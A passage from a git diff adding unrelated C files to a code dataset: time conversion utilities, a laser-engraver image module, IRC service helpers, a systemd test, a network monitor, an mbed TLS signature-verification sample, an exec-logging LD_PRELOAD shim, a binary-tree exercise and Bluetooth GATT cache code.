0x7fffffff }; +#else +const nn_duration_t duration_infinite = { 0x7fffffff, 0xffffffff }; +#endif + +os_int64 now (void) +{ + os_time tv; + tv = os_timeGet (); + return ((os_int64) tv.tv_sec * T_SECOND + tv.tv_nsec); +} + +void time_to_sec_usec (int *sec, int *usec, os_int64 t) +{ + *sec = (int) (t / T_SECOND); + *usec = (int) (t % T_SECOND) / 1000; +} + +os_int64 time_round_up (os_int64 t, os_int64 round) +{ + /* This function rounds up t to the nearest next multiple of round. + t is nanoseconds, round is milliseconds. Avoid functions from + maths libraries to keep code portable */ + assert (t >= 0 && round >= 0); + if (round == 0 || t == T_NEVER) + { + return t; + } + else + { + os_int64 remainder = t % round; + if (remainder == 0) + { + return t; + } + else + { + return t + round - remainder; + } + } +} + +os_int64 add_duration_to_time (os_int64 t, os_int64 d) +{ + /* assumed T_NEVER <=> MAX_INT64 */ + os_int64 sum = t + d; + assert (t >= 0 && d >= 0); + return sum < t ? T_NEVER : sum; +} + +int valid_ddsi_timestamp (nn_ddsi_time_t t) +{ + return t.seconds != invalid_ddsi_timestamp.seconds && t.fraction != invalid_ddsi_timestamp.fraction; +} + +nn_ddsi_time_t nn_to_ddsi_time (os_int64 t) +{ + if (t == T_NEVER) + return ddsi_time_infinite; + else + { + /* Do a fixed-point conversion to DDSI time; this mapping maps + nanoseconds = 0 => fraction = 0. */ + nn_ddsi_time_t x; + int ns = (int) (t % T_SECOND); + x.seconds = (int) (t / T_SECOND); + x.fraction = (unsigned) (((T_SECOND-1) + ((os_int64) ns << 32)) / T_SECOND); + return x; + } +} + +os_int64 nn_from_ddsi_time (nn_ddsi_time_t x) +{ + if (x.seconds == ddsi_time_infinite.seconds && x.fraction == ddsi_time_infinite.fraction) + return T_NEVER; + else + { + /* Truncating conversion of DDSI time fraction to nanoseconds; + exhaustively tested for correct conversion of fractions + computed by nn_to_ddsi_time. But whether all other + implementations are truncating, I don't know. */ + int ns = (int) (((os_int64) x.fraction * T_SECOND) >> 32); + return x.seconds * (os_int64) T_SECOND + ns; + } +} + +#if DDSI_DURATION_ACCORDING_TO_SPEC +nn_duration_t nn_to_ddsi_duration (os_int64 t) +{ + if (t == T_NEVER) + return duration_infinite; + else + { + nn_duration_t x; + x.sec = (int) (t / T_SECOND); + x.nanosec = (int) (t % T_SECOND); + return x; + } +} + +os_int64 nn_from_ddsi_duration (nn_duration_t x) +{ + os_int64 t; + if (x.sec == duration_infinite.sec && x.nanosec == duration_infinite.nanosec) + t = T_NEVER; + else + t = x.sec * T_SECOND + x.nanosec; + return t; +} +#else +nn_duration_t nn_to_ddsi_duration (os_int64 x) +{ + return nn_to_ddsi_time (x); +} + +os_int64 nn_from_ddsi_duration (nn_duration_t x) +{ + return nn_from_ddsi_time (x); +} +#endif + +/* SHA1 not available (unoffical build.) */ diff --git a/pool/shard011/C/0142386_image.c b/pool/shard011/C/0142386_image.c new file mode 100644 index 0000000000000000000000000000000000000000..d9d3fb133a5d3901c31f3b4216bcf135145ba1e9 --- /dev/null +++ b/pool/shard011/C/0142386_image.c @@ -0,0 +1,229 @@ +/* +University of Kentucky +CS 499 Spring 2017 +A Linux based program to run the HTPOW brand laser engravers. +Authors: Lucian Hymer, Grant Sparks, Patrick Thompson + +image.c is the C file that handles all of the image editing +necessary so that an image can be engraved. An image must be +489 by 489 pixels at the most or the engraver will run into +hard stops, so shrinking large images is a must. An image +must also be black and white or greyscale to be engravable, +so this file contains he functions that convert images to +either back and white or greyscale. + +The imagemagick library is used to complete all of these +necessary functions. +*/ + +#include "image.h" + +// grabbed this exception code from: +// https://www.imagemagick.org/script/magick-wand.php +//After detecting a bad wand this function is called to output +//more information about the error to the user and clean up the +//wand. +void throw_wand_exception(MagickWand* wand) +{ + char *description; + ExceptionType severity; + + description=MagickGetException(wand, &severity); + (void) ferr("%s %s %lu %s\n", GetMagickModule(), description); + description=(char *) MagickRelinquishMemory(description); + wand = DestroyMagickWand(wand); + MagickWandTerminus(); + exit(-1); +} + +// resize_image +// inputs: +// wand -- MagickWand** -- passed by reference +// outputs: +// void +// side effects: +// wand image is resized so the longest edge is 489px +// if the image is smaller than 489x489, nothing happens +void resize_image(MagickWand** wand) +{ + size_t width, height; + // get the image size + width = MagickGetImageWidth(*wand); + height = MagickGetImageHeight(*wand); + //Output the size of the input image. + fmsg("size: \t%dx%d\n", (int)width, (int)height); + // only resize if it's bigger than 489x489 + if (width > CANVAS_SIZE || height > CANVAS_SIZE) { + if (width > height) { + height = (int)((height/(float) width) * CANVAS_SIZE); + width = CANVAS_SIZE; + } else { + width = (int)((width/(float) height) * CANVAS_SIZE); + height = CANVAS_SIZE; + } + //Output resized dimensions. + fmsg("resize:\t%dx%d\n", (int)width, (int)height); + //Use the ImageMagick library to resize the image. + MagickBooleanType status = MagickAdaptiveResizeImage(*wand, width, height); + //Make sure the resizing didn't error. + if (status == MagickFalse) + throw_wand_exception(*wand); + } + // alter compact size +} + +// check_offsets +// inputs: +// wand -- MagickWand** -- passed by reference +// x_offset -- int* -- passed by reference +// y_offset -- int* -- passed by reference +// outputs: +// void +// side effects: +// Modifies x and y offset if values are too large +void check_offsets(MagickWand** wand, int *x_offset, int *y_offset) +{ + size_t width, height; + int x_px_past_border, y_px_past_border; + // get the image size + width = MagickGetImageWidth(*wand); + height = MagickGetImageHeight(*wand); + + // See how far past the border the offset shifts the image + x_px_past_border = -(CANVAS_SIZE - width - abs(*x_offset)); + y_px_past_border = -(CANVAS_SIZE - height - abs(*y_offset)); + + if ( x_px_past_border > 0 ){ + if( *x_offset < 0 ){ + *x_offset += x_px_past_border; + } else { + *x_offset -= x_px_past_border; + } + fwarn("X offset value too high. Setting to max possible value %d.\n",*x_offset); + } + if ( y_px_past_border > 0 ){ + if( *y_offset < 0 ){ + *y_offset += y_px_past_border; + } else { + *y_offset -= y_px_past_border; + } + fwarn("Y offset value too high. Setting to max possible value %d.\n",*y_offset); + } +} + +// antialias_image +// inputs: +// wand -- MagickWand** -- passed by reference +// outputs: +// void +// side effects: +// wand image is antialiased +// TODO: is this the best way to do this? +void antialias_image(MagickWand** wand) +{ + MagickBooleanType status = MagickBlurImage(*wand, 0.0, 0.5); + if (status == MagickFalse) + throw_wand_exception(*wand); +} + +// greyscale_image +// inputs: +// wand -- MagickWand** -- passed by reference +// outputs: +// void +// side effects: +// wand image is changed to greyscale using -quantize +// TODO: is this the best way to do this? +void greyscale_image(MagickWand** wand) +{ + MagickBooleanType status = MagickQuantizeImage(*wand, 255, GRAYColorspace, 0, MagickFalse, MagickTrue); + if (status == MagickFalse) + throw_wand_exception(*wand); +} + +// threshold_image +// inputs: +// wand -- MagickWand** -- passed by reference +// threshold -- int -- value between 0 and QuantumRange +// outputs: +// void +// side effects: +// wand image is changed to threshold +// TODO: add support for native numbers 0..QuantumRange +// TODO: add support for percentages 0..100% +//Uses the ImageMagick library to change the image to black and +//white based on the threshold value. A higher threshold value +//will turn whiter pixels to black. +void threshold_image(MagickWand** wand, Quantum threshold) +{ + MagickBooleanType status = MagickThresholdImage(*wand, threshold); + if (status == MagickFalse) + throw_wand_exception(*wand); +} + +// prepare_image +// inputs: +// image -- char* -- filepath to image +// output -- char* -- filepath to store image +// outputs: +// void +// side effects: +// wand image created, file changed and output +// TODO: add options for threshold/greyscale and image dry-run +//This function calls all of the necessary functions in the right +//order to prepare an image for engraving. It starts by setting up +//the ImageMagick overhead and then reads in the image. Next it +//resizes the image then does anitaliasing to thicken the lines. +//Then it either converts the image to black and white or greyscale +//depending on the user input. +MagickWand* prepare_image(HTPewPewOpts opts) +{ + MagickBooleanType status; + MagickWand* magick_wand; + + // quantum depth should never be bigger than 32 bits (4 bytes) so a unsigned int should always hold it + // there's some details here: http://www.imagemagick.org/Usage/basics/#quality + Quantum depth = opts.threshold * (QuantumRange / 100); + + // Set up ImageMagick + MagickWandGenesis(); + // Create a new wand. + magick_wand = NewMagickWand(); + //Read in the image and check for failure. + fnote("Reading Image\n"); + status = MagickReadImage(magick_wand, opts.infile); + if (status == MagickFalse) + throw_wand_exception(magick_wand); + //Resize the image. + fnote("Resizing Image\n"); + resize_image(&magick_wand); + check_offsets(&magick_wand,&opts.x,&opts.y); + fnote("Antialiasing Image\n"); + //Add antialiasing to thicken lines. + antialias_image(&magick_wand); + //Convert the image to greyscale or black and white depending on user input. + if (opts.threshold == -1) { // skip threshold + fnote("Converting to greyscale\n"); + greyscale_image(&magick_wand); + } else { // don't bother greyscaling first + fnote("Converting to black and white. Threshold = %i%%\n", opts.threshold); + threshold_image(&magick_wand, depth); + } + fnote("Conversion complete\n"); + // Write the image, then destroy the wand. + if( opts.outfile != NULL ) { // if there is an output file + fnote("Writing temporary image to %s\n", opts.outfile); + status = MagickWriteImages(magick_wand, opts.outfile, MagickTrue); + if (status == MagickFalse) + throw_wand_exception(magick_wand); + } + return(magick_wand); +} + +//Uses the ImageMagick library to clean up the wand and ImageMagick's overhead. +int cleanup_image(MagickWand* wand) { + wand = DestroyMagickWand(wand); + MagickWandTerminus(); + return(0); +} + diff --git a/pool/shard011/C/0142387_util.c b/pool/shard011/C/0142387_util.c new file mode 100644 index 0000000000000000000000000000000000000000..4f0e2bf787b417fc262d3c1dd8b07d12c77070d9 --- /dev/null +++ b/pool/shard011/C/0142387_util.c @@ -0,0 +1,78 @@ +/* + * Opensvs - A lightweight services for Hybrid ircd OFTC branch. + * Copyright (C) 2006 The Openbrasil Opensvs Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 + * USA + * + */ + +#include +#include +#include +#include + +#include "util.h" +#include "md5.h" + +static char util_md5buf[33]; + +inline char *strtolower(char *s) { + char *p = s; + if(!p) return 0; + for(;*p;p++) *p = tolower(*p); + return s; +} + +int binsearch(trap_entry *tbl, int f, char *sender, char *cmd, char *args) { + int i = 0, mid, ret; + while(i <= f) { + mid = (i + f) / 2; + ret = strcmp(cmd, tbl[mid].cmd); + if(!ret) { + tbl[mid].cb(sender, cmd, args); + return 1; + } + else if(ret < 0) + f = mid - 1; + else + i = mid + 1; + } + return 0; +} + +char *md5(char *buf) { + + struct MD5Context ctx; + unsigned char digest[16]; + char *p; + int i; + + MD5Init(&ctx); + MD5Update(&ctx, (unsigned char*)buf, strlen(buf)); + MD5Final(digest, &ctx); + + for(p = util_md5buf, i = 0; i < 16; p += 2, i++) + sprintf(p, "%02x", digest[i]); + + return util_md5buf; + +} + +int getint_cb(void *arg, int argc, char **argv, char **colname) { + *((int *)arg) = atoi(argv[0]); + return 1; +} + diff --git a/pool/shard011/C/0142388_test-dev-setup.c b/pool/shard011/C/0142388_test-dev-setup.c new file mode 100644 index 0000000000000000000000000000000000000000..ea9df56aebc0bddfdbdbc719f88b7c3274284c39 --- /dev/null +++ b/pool/shard011/C/0142388_test-dev-setup.c @@ -0,0 +1,63 @@ +/* SPDX-License-Identifier: LGPL-2.1-or-later */ + +#include "capability-util.h" +#include "dev-setup.h" +#include "fs-util.h" +#include "mkdir.h" +#include "path-util.h" +#include "rm-rf.h" +#include "tmpfile-util.h" + +int main(int argc, char *argv[]) { + _cleanup_(rm_rf_physical_and_freep) char *p = NULL; + const char *f; + struct stat st; + + if (have_effective_cap(CAP_DAC_OVERRIDE) <= 0) + return EXIT_TEST_SKIP; + + assert_se(mkdtemp_malloc("/tmp/test-dev-setupXXXXXX", &p) >= 0); + + f = prefix_roota(p, "/run/systemd"); + assert_se(mkdir_p(f, 0755) >= 0); + + assert_se(make_inaccessible_nodes(f, 1, 1) >= 0); + + f = prefix_roota(p, "/run/systemd/inaccessible/reg"); + assert_se(stat(f, &st) >= 0); + assert_se(S_ISREG(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + + f = prefix_roota(p, "/run/systemd/inaccessible/dir"); + assert_se(stat(f, &st) >= 0); + assert_se(S_ISDIR(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + + f = prefix_roota(p, "/run/systemd/inaccessible/fifo"); + assert_se(stat(f, &st) >= 0); + assert_se(S_ISFIFO(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + + f = prefix_roota(p, "/run/systemd/inaccessible/sock"); + assert_se(stat(f, &st) >= 0); + assert_se(S_ISSOCK(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + + f = prefix_roota(p, "/run/systemd/inaccessible/chr"); + if (stat(f, &st) < 0) + assert_se(errno == ENOENT); + else { + assert_se(S_ISCHR(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + } + + f = prefix_roota(p, "/run/systemd/inaccessible/blk"); + if (stat(f, &st) < 0) + assert_se(errno == ENOENT); + else { + assert_se(S_ISBLK(st.st_mode)); + assert_se((st.st_mode & 07777) == 0000); + } + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142389_eemo_icmpfragmon_aggr.c b/pool/shard011/C/0142389_eemo_icmpfragmon_aggr.c new file mode 100644 index 0000000000000000000000000000000000000000..4832aefea3950efb168745e829d7dca9891da9a8 --- /dev/null +++ b/pool/shard011/C/0142389_eemo_icmpfragmon_aggr.c @@ -0,0 +1,208 @@ +/* + * Copyright (c) 2010-2015 SURFnet bv + * Copyright (c) 2015 Roland van Rijswijk-Deij + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of SURFnet bv nor the names of its contributors + * may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE + * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER + * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN + * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +/* + * The Extensible Ethernet Monitor (EEMO) + * ICMP fragment reassembly time-out monitoring + */ + +#include "config.h" +#include "eemo.h" +#include "eemo_log.h" +#include "eemo_icmpfragmon_aggr.h" +#include +#include +#include +#include +#include +#include +#include + +/* Configuration */ +char* ifm_server = NULL; +int ifm_port = 0; +int ifm_max_packet_size = 0; +int ifm_sensor_id = 0; + +/* Communication socket */ +int ifm_socket = -1; +struct sockaddr ifm_sockaddr; +socklen_t ifm_addrlen = 0; + +/* UDP assembly buffer */ +unsigned char ifm_buffer[65536]; +size_t ifm_buffer_len = 0; + +/* Transmit an UDP packet to the server */ +void eemo_icmpfragmon_aggr_transmit(const unsigned char* send_buf, size_t buf_len) +{ + if (ifm_socket != -1) + { + ssize_t sent = sendto(ifm_socket, (const void*) send_buf, buf_len, 0, &ifm_sockaddr, ifm_addrlen); + + DEBUG_MSG("Transmitted %d byte(s)", sent); + } +} + +/* Initialise the message buffer */ +void eemo_icmpfragmon_aggr_init_msg(void) +{ + /* Clear the buffer */ + memset(ifm_buffer, 0, ifm_max_packet_size); + ifm_buffer_len = 0; + + /* Set the sensor ID */ + ifm_buffer[ifm_buffer_len++] = (ifm_sensor_id & 0xff000000) >> 24; + ifm_buffer[ifm_buffer_len++] = (ifm_sensor_id & 0x00ff0000) >> 16; + ifm_buffer[ifm_buffer_len++] = (ifm_sensor_id & 0x0000ff00) >> 8; + ifm_buffer[ifm_buffer_len++] = (ifm_sensor_id & 0x000000ff); + + /* Set the message type */ + ifm_buffer[ifm_buffer_len++] = IFM_MSG_FRAGDATA; +} + +/* Aggregate ICMP monitoring data */ +void eemo_icmpfragmon_aggr_add(const char* client_ip) +{ + size_t to_add = 0; + size_t ip_len = strlen(client_ip) & 0xff; + + /* Calculate size to add */ + to_add += ip_len; + to_add += 1; /* ip addr len */ + + if ((ifm_buffer_len + to_add) > ifm_max_packet_size) + { + /* Emit the current buffer */ + eemo_icmpfragmon_aggr_transmit(ifm_buffer, ifm_buffer_len); + + /* Reset the buffer */ + eemo_icmpfragmon_aggr_init_msg(); + } + + /* Append the new data in network byte order */ + ifm_buffer[ifm_buffer_len++] = (ip_len & 0x00ff); + + memcpy(&ifm_buffer[ifm_buffer_len], client_ip, ip_len); + + ifm_buffer_len += ip_len; + + DEBUG_MSG("Buffer is now filled with %d byte(s) of data", ifm_buffer_len); +} + +/* Initialise ICMP monitoring */ +void eemo_icmpfragmon_aggr_init(char* server, int port, int max_packet_size, int sensor_id) +{ + struct addrinfo* server_addrs = NULL; + struct addrinfo* addr_it = NULL; + struct addrinfo hints; + char port_str[16]; + + ifm_max_packet_size = (max_packet_size > 65536) ? 65536 : max_packet_size; + ifm_sensor_id = sensor_id; + + INFO_MSG("Initialising sensor with ID 0x%08X", sensor_id); + + INFO_MSG("Maximum forwarding packet size is %d bytes", ifm_max_packet_size); + + ifm_server = server; + ifm_port = port; + + INFO_MSG("Sending data to %s:%d", ifm_server, ifm_port); + + /* Clear data buffer */ + eemo_icmpfragmon_aggr_init_msg(); + + /* Resolve the destination server */ + hints.ai_family = AF_UNSPEC; /* return IPv4 or IPv6 address */ + hints.ai_socktype = SOCK_DGRAM; /* require UDP socket */ + hints.ai_flags = 0; + hints.ai_protocol = 0; + + snprintf(port_str, 16, "%d", ifm_port); + + if (getaddrinfo(ifm_server, port_str, &hints, &server_addrs) != 0) + { + ERROR_MSG("Failed to resolve %s", ifm_server); + server_addrs = NULL; + } + + addr_it = server_addrs; + + while (addr_it != NULL) + { + if ((addr_it->ai_family == AF_INET) || (addr_it->ai_family == AF_INET6)) + { + memcpy(&ifm_sockaddr, addr_it->ai_addr, sizeof(struct sockaddr)); + ifm_addrlen = addr_it->ai_addrlen; + + /* Attempt to open a socket */ + ifm_socket = socket(addr_it->ai_family, SOCK_DGRAM, 0); + + if (ifm_socket == -1) + { + ERROR_MSG("Failed to open a socket"); + + continue; + } + + INFO_MSG("Transmitting data over IPv%d", (addr_it->ai_family == AF_INET) ? 4 : 6); + + break; + } + + addr_it = addr_it->ai_next; + } + + freeaddrinfo(server_addrs); +} + +/* Uninitialise ICMP monitoring */ +void eemo_icmpfragmon_aggr_uninit(eemo_conf_free_string_array_fn free_strings) +{ + /* Close the socket */ + if (ifm_socket >= 0) + { + close(ifm_socket); + } + + free(ifm_server); +} + +/* Handle ICMP packets */ +eemo_rv eemo_icmpfragmon_handle_icmp(const eemo_packet_buf* icmp_data, eemo_ip_packet_info ip_info, u_char icmp_type, u_char icmp_code) +{ + /* Add this host to the list of people with fragment reassembly issues */ + eemo_icmpfragmon_aggr_add(ip_info.ip_src); + + return ERV_HANDLED; +} + diff --git a/pool/shard011/C/0142390_rsa_verify_pss.c b/pool/shard011/C/0142390_rsa_verify_pss.c new file mode 100644 index 0000000000000000000000000000000000000000..2b52b38b0c8434a270383524efe50451c4cf751d --- /dev/null +++ b/pool/shard011/C/0142390_rsa_verify_pss.c @@ -0,0 +1,144 @@ +/* + * RSASSA-PSS/SHA-1 signature verification program + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * + * This file is part of mbed TLS (https://polarssl.org) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#ifndef _CRT_SECURE_NO_DEPRECATE +#define _CRT_SECURE_NO_DEPRECATE 1 +#endif + +#include +#include + +#include "polarssl/config.h" + +#include "polarssl/md.h" +#include "polarssl/pem.h" +#include "polarssl/rsa.h" +#include "polarssl/sha1.h" +#include "polarssl/x509.h" + +#if defined _MSC_VER && !defined snprintf +#define snprintf _snprintf +#endif + +#if !defined(POLARSSL_BIGNUM_C) || !defined(POLARSSL_RSA_C) || \ + !defined(POLARSSL_SHA1_C) || !defined(POLARSSL_X509_PARSE_C) || \ + !defined(POLARSSL_FS_IO) +int main( int argc, char *argv[] ) +{ + ((void) argc); + ((void) argv); + + printf("POLARSSL_BIGNUM_C and/or POLARSSL_RSA_C and/or " + "POLARSSL_SHA1_C and/or POLARSSL_X509_PARSE_C and/or " + "POLARSSL_FS_IO not defined.\n"); + return( 0 ); +} +#else +int main( int argc, char *argv[] ) +{ + FILE *f; + int ret = 1; + size_t i; + rsa_context rsa; + unsigned char hash[20]; + unsigned char buf[POLARSSL_MPI_MAX_SIZE]; + char filename[512]; + + rsa_init( &rsa, RSA_PKCS_V21, POLARSSL_MD_SHA1 ); + + if( argc != 3 ) + { + printf( "usage: rsa_verify_pss \n" ); + +#if defined(_WIN32) + printf( "\n" ); +#endif + + goto exit; + } + + printf( "\n . Reading public key from '%s'", argv[1] ); + fflush( stdout ); + + if( ( ret = x509parse_public_keyfile( &rsa, argv[1] ) ) != 0 ) + { + printf( " failed\n ! x509parse_public_key returned %d\n\n", ret ); + goto exit; + } + + /* + * Extract the RSA signature from the text file + */ + ret = 1; + snprintf( filename, 512, "%s.sig", argv[2] ); + + if( ( f = fopen( filename, "rb" ) ) == NULL ) + { + printf( "\n ! Could not open %s\n\n", filename ); + goto exit; + } + + i = fread( buf, 1, rsa.len, f ); + + fclose( f ); + + if( i != rsa.len ) + { + printf( "\n ! Invalid RSA signature format\n\n" ); + goto exit; + } + + /* + * Compute the SHA-1 hash of the input file and compare + * it with the hash decrypted from the RSA signature. + */ + printf( "\n . Verifying the RSA/SHA-1 signature" ); + fflush( stdout ); + + if( ( ret = sha1_file( argv[2], hash ) ) != 0 ) + { + printf( " failed\n ! Could not open or read %s\n\n", argv[2] ); + goto exit; + } + + if( ( ret = rsa_pkcs1_verify( &rsa, NULL, NULL, RSA_PUBLIC, SIG_RSA_SHA1, + 20, hash, buf ) ) != 0 ) + { + printf( " failed\n ! rsa_pkcs1_verify returned %d\n\n", ret ); + goto exit; + } + + printf( "\n . OK (the decrypted SHA-1 hash matches)\n\n" ); + + ret = 0; + +exit: + +#if defined(_WIN32) + printf( " + Press Enter to exit this program.\n" ); + fflush( stdout ); getchar(); +#endif + + return( ret ); +} +#endif /* POLARSSL_BIGNUM_C && POLARSSL_RSA_C && POLARSSL_SHA1_C && + POLARSSL_X509_PARSE_C && POLARSSL_FS_IO */ diff --git a/pool/shard011/C/0142391_execvhack.c b/pool/shard011/C/0142391_execvhack.c new file mode 100644 index 0000000000000000000000000000000000000000..68908449964c977fc0ee8092ea0e48d6c0e417f3 --- /dev/null +++ b/pool/shard011/C/0142391_execvhack.c @@ -0,0 +1,56 @@ +#define _GNU_SOURCE +#include +#include +#include +#include + +#define EXECV 1 +#define EXECVP 2 +#define EXECVE 3 +#define EXECVPE 4 + +int (*orig_execvp)(const char *__path, char *const __argv[]); +int (*orig_execv)(const char *__path, char *const __argv[]); +int (*orig_execve)(const char *__path, char *const __argv[], char *const __envp[]); +int (*orig_execvpe)(const char *__file, char *const __argv[], char *const __envp[]); + +int wrapper (const int __type, const char *__path, char *const __argv[], char *const __envp[]) { + char *argv = __argv[0]; + int i = 0; + while (argv != NULL) { + fprintf(stderr,"%s: argv[%d]: [[%s]]\n", __path, i++, argv); + argv = __argv[i]; + } + switch (__type) { + case EXECV: return orig_execv(__path, __argv); + case EXECVP: return orig_execvp(__path, __argv); + case EXECVE: return orig_execve(__path, __argv, __envp); + case EXECVPE: return orig_execvpe(__path, __argv, __envp); + default: fprintf(stderr, "execvhack.so: invalid given function type (%d); error in source code.", __type); + exit(1); + } +} + +int execvpe(const char *__file, char *const __argv[], char *const __envp[]) { + return wrapper(EXECVPE, __file, __argv, __envp); +} + +int execve (const char *__path, char *const __argv[], char *const __envp[]) { + return wrapper(EXECVE, __path, __argv, __envp); +} + +int execv (const char *__path, char *const __argv[]) { + return wrapper(EXECV, __path, __argv, NULL); +} +int execvp (const char *__path, char *const __argv[]) { + return wrapper(EXECVP, __path, __argv, NULL); +} + +void __attribute__ ((constructor)) my_init(void) { + printf("Loading hack.\n"); + orig_execvpe = dlsym(RTLD_NEXT, "execvpe"); + orig_execvp = dlsym(RTLD_NEXT, "execvp"); + orig_execve = dlsym(RTLD_NEXT, "execve"); + orig_execv = dlsym(RTLD_NEXT, "execv"); +} + diff --git a/pool/shard011/C/0142392_constructBinaryTreefromPreorderandInorderTraversal.c b/pool/shard011/C/0142392_constructBinaryTreefromPreorderandInorderTraversal.c new file mode 100644 index 0000000000000000000000000000000000000000..0563d318817113cc154ea34799aebcc693b3dcfb --- /dev/null +++ b/pool/shard011/C/0142392_constructBinaryTreefromPreorderandInorderTraversal.c @@ -0,0 +1,57 @@ +#include +#include +#include +struct TreeNode { + int val; + struct TreeNode *left; + struct TreeNode *right; +}; +/* +struct TreeNode* helper(int *preorder, int *inorder, int pindex, int iindex, int size, int length) { + if(!size) return NULL; + int v = preorder[pindex]; + struct TreeNode *x = (struct TreeNode *)malloc(sizeof(struct TreeNode)); + x->val = v; + int i, rindex = 0; + for(i = iindex; i < length; i++) { + if(inorder[i] == v) break; + rindex++; + } + x->left = helper(preorder, inorder, pindex + 1, iindex, rindex, length); + x->right = helper(preorder, inorder, pindex + rindex + 1, iindex + rindex + 1, size - (rindex + 1), length); + return x; +} +*/ +struct TreeNode* helper(int *preorder, int *inorder, int rindex, int start, int end) { + if(start > end) return NULL; + struct TreeNode *x = (struct TreeNode *)malloc(sizeof(struct TreeNode)); + x->val = preorder[rindex]; + int i, pos = 0; + for(i = start; i <= end; i++) { + if(x->val == inorder[i]) { + pos = i; + break; + } + } + x->left = helper(preorder, inorder, rindex + 1, start, pos - 1); + x->right = helper(preorder, inorder, rindex + (pos - start) + 1, pos + 1, end); + return x; +} +struct TreeNode* buildTree(int* preorder, int preorderSize, int* inorder, int inorderSize) { + if(!preorder || !inorder) return NULL; + return helper(preorder, inorder, 0, 0, preorderSize = inorderSize - 1); +} +void P(struct TreeNode* root) { + if(!root) return; + P(root->left); + P(root->right); + printf("%d ", root->val); +} +int main() { + int preorder[] = { 7, 4, 2, 1, 3, 6, 5, 9, 8, 10 }; + int inorder[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; + struct TreeNode *root = buildTree(preorder, sizeof(preorder) / sizeof(int), inorder, sizeof(inorder) / sizeof(int)); + P(root); + putchar('\n'); + return 0; +} diff --git a/pool/shard011/C/0142393_bta_gattc_co.c b/pool/shard011/C/0142393_bta_gattc_co.c new file mode 100644 index 0000000000000000000000000000000000000000..b716766a7f41a44783ee48b146d169e24646dba1 --- /dev/null +++ b/pool/shard011/C/0142393_bta_gattc_co.c @@ -0,0 +1,214 @@ +/****************************************************************************** + * + * Copyright (C) 2009-2013 Broadcom Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ******************************************************************************/ +#ifdef BT_SUPPORT_NVM +#include +#include +#endif /* BT_SUPPORT_NVM */ + +#include "bta_gattc_co.h" +#include "bta_gattc_ci.h" +// #include "btif_util.h" +#include "btm_int.h" + +#if( defined BLE_INCLUDED ) && (BLE_INCLUDED == TRUE) +#if( defined BTA_GATT_INCLUDED ) && (GATTC_INCLUDED == TRUE) + +#define GATT_CACHE_PREFIX "/data/misc/bluedroid/gatt_cache_" + +#ifdef BT_SUPPORT_NVM +static FILE *sCacheFD = 0; + +static void getFilename(char *buffer, BD_ADDR bda) +{ + sprintf(buffer, "%s%02x%02x%02x%02x%02x%02x", GATT_CACHE_PREFIX + , bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +static void cacheClose() +{ + if (sCacheFD != 0) { + fclose(sCacheFD); + sCacheFD = 0; + } +} + +static bool cacheOpen(BD_ADDR bda, bool to_save) +{ + char fname[255] = {0}; + getFilename(fname, bda); + + cacheClose(); + sCacheFD = fopen(fname, to_save ? "w" : "r"); + + return (sCacheFD != 0); +} + +static void cacheReset(BD_ADDR bda) +{ + char fname[255] = {0}; + getFilename(fname, bda); + unlink(fname); +} + +#endif /* BT_SUPPORT_NVM */ +/***************************************************************************** +** Function Declarations +*****************************************************************************/ + +/******************************************************************************* +** +** Function bta_gattc_co_cache_open +** +** Description This callout function is executed by GATTC when a GATT server +** cache is ready to be sent. 